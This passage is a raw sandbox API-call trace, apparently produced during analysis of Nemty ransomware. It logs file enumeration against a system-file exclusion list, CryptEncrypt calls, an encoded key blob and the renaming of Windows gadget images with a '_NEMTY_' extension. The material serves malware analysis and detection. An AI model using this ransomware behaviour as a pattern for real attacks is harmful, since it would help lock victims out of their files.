returned 1 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0169.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_few-showers.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_few-showers.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_few-showers.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_few-showers.png._nemty_kgobjgd_")) returned 0 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.055] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87017a5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87017a5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3688c561, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x893d, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_gray_foggy.png", cAlternateFileName="")) returned 1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2=".") returned 1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="..") returned 1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="...") returned 1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="windows") returned -1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="$RECYCLE.BIN") returned 1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="rsa") returned 1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="NTDETECT.COM") returned 1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="ntldr") returned 1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="MSDOS.SYS") returned 1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="IO.SYS") returned 1 [0169.055] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="boot.ini") returned 1 [0169.056] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="boot.ini") returned 1 [0169.056] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="AUTOEXEC.BAT") returned 1 [0169.056] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="ntuser.dat") returned 1 [0169.056] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="desktop.ini") returned 1 [0169.056] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="CONFIG.SYS") returned 1 [0169.056] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="RECYCLER") returned 1 [0169.056] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="BOOTSECT.BAK") returned 1 [0169.056] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="bootmgr") returned 1 [0169.056] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="programdata") returned 1 [0169.056] lstrcmpiW (lpString1="undocked_gray_foggy.png", lpString2="appdata") returned 1 [0169.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_foggy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0169.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_foggy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_foggy.png", lpUsedDefaultChar=0x0) returned 23 [0169.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0169.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_foggy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0169.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_foggy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_foggy.png", lpUsedDefaultChar=0x0) returned 23 [0169.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0169.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_foggy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0169.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_foggy.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_foggy.png", lpUsedDefaultChar=0x0) returned 23 [0169.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_foggy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0169.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_foggy.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_foggy.png", lpUsedDefaultChar=0x0) returned 23 [0169.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0169.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0169.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0169.057] Sleep (dwMilliseconds=0x5) [0169.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x186bbaf0, dwHighDateTime=0x1d561e8)) [0169.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x186bbaf0, dwHighDateTime=0x1d561e8)) [0169.079] GetLastError () returned 0x5 [0169.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.079] GetLastError () returned 0x5 [0169.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0169.079] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0169.079] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0169.079] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0169.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0169.079] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="wCfdhJZBTe40qLaaXko9h1YMSPedtsPu92rCDj5uV+3WkfWdNsWwQgAN3LMpt7Sb\r\nlFlP/wZnhBz7miCFCi9sTvJoECz5xHMVQPjxoS+ro6msrMPGNzwyHJ1rApojfp0d\r\nJ4dcnpr+/8IznS1/vkJ+mPB/REw752UQNVLbO9tHmqAaIdB084o0sGk7bDFyjwu2\r\nEJzdEkSuXCmQhLou89zPnkgLNMGiwf28RXJWDJaAbrlFpM3TIf8Y8+yOHlMLDyVw\r\nAsAYd4aHCNWInOSE3ch6AYXueHPnJWW6XfSHvgNLeMPOI1WhjgN+e2G05hSOcn7G\r\nMHyR/nFpYXjVEH1xEFQtOg==\r\n", pcchString=0x653e91c) returned 1 [0169.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0169.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0169.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0169.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0169.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0169.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0169.080] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_foggy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_foggy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.080] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0169.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0169.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.080] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.099] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.108] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.137] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.137] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.195] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.195] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.201] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.201] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.201] CloseHandle (hObject=0xffffffff) returned 0 [0169.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0169.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0169.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0169.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0169.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0169.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0169.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0169.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0169.202] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_foggy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_foggy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_foggy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_foggy.png._nemty_kgobjgd_")) returned 0 [0169.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0169.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0169.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0169.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0169.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0169.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.202] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.202] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87017a5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87017a5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36aedb41, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x9508, dwReserved0=0x11, dwReserved1=0x4f90000, 